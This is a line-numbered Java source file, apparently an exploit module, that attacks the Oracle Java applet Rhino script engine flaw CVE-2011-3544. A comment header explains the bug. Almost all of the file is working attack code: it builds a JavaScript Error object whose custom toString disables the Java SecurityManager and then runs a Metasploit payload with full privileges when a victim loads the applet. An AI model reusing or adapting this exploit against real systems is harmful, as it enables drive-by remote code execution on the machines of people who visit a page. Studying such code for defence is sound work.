Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
/*
2
* Oracle Java Applet Rhino Script Engine Remote Code Execution
3
* CVE-2011-3544
4
* ZDI-11-305
5
*
6
* This vulnerability is due to the way Rhino error objects are handled. Normally the script engine
7
* has to ensure untrusted code not being allowed to perform, but a malicious attacker can actually
8
* bypass this by creating an error object (which isn't checked by Rhino Script Engine), with a
9
* custom 'toString()' method to allow code being run with full privileges.  This also allows the
10
* attacker to disable Java SecurityManager, and then run abitrary code.
11
* 
12
* Ref:
13
* http://schierlm.users.sourceforge.net/CVE-2011-3544.html
14
*/
15

16
import java.applet.Applet;
17
import javax.script.*;
18
import javax.swing.JList;
19
import metasploit.Payload;
20

21
public class Exploit extends Applet {
22
	public void init() {
23
		try {
24
			ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");
25
			Bindings b = engine.createBindings();
26
			b.put("applet", this);
27

28
			// Disable SecurityManager, and then run the payload
29
			// The error object isn't handled by Rhino, so the toString method
30
			// will not be restricted by access control
31
			Object proxy = (Object) engine.eval(
32
				"this.toString = function() {" +
33
				"	java.lang.System.setSecurityManager(null);" +
34
				"	applet.callBack();" +
35
				"	return String.fromCharCode(97 + Math.round(Math.random() * 25));" +
36
				"};" +
37
				"e = new Error();" +
38
				"e.message = this;" +
39
				"e", b);
40

41
			JList list = new JList(new Object[] {proxy});
42
			this.add(list);
43
		}
44
		catch (ScriptException e) {
45
			e.printStackTrace();
46
		}
47
	}
48

49
	public void callBack() {
50
		try {
51
			Payload.main(null);
52
		}
53
		catch (Exception e) {}
54
	}
55
}
56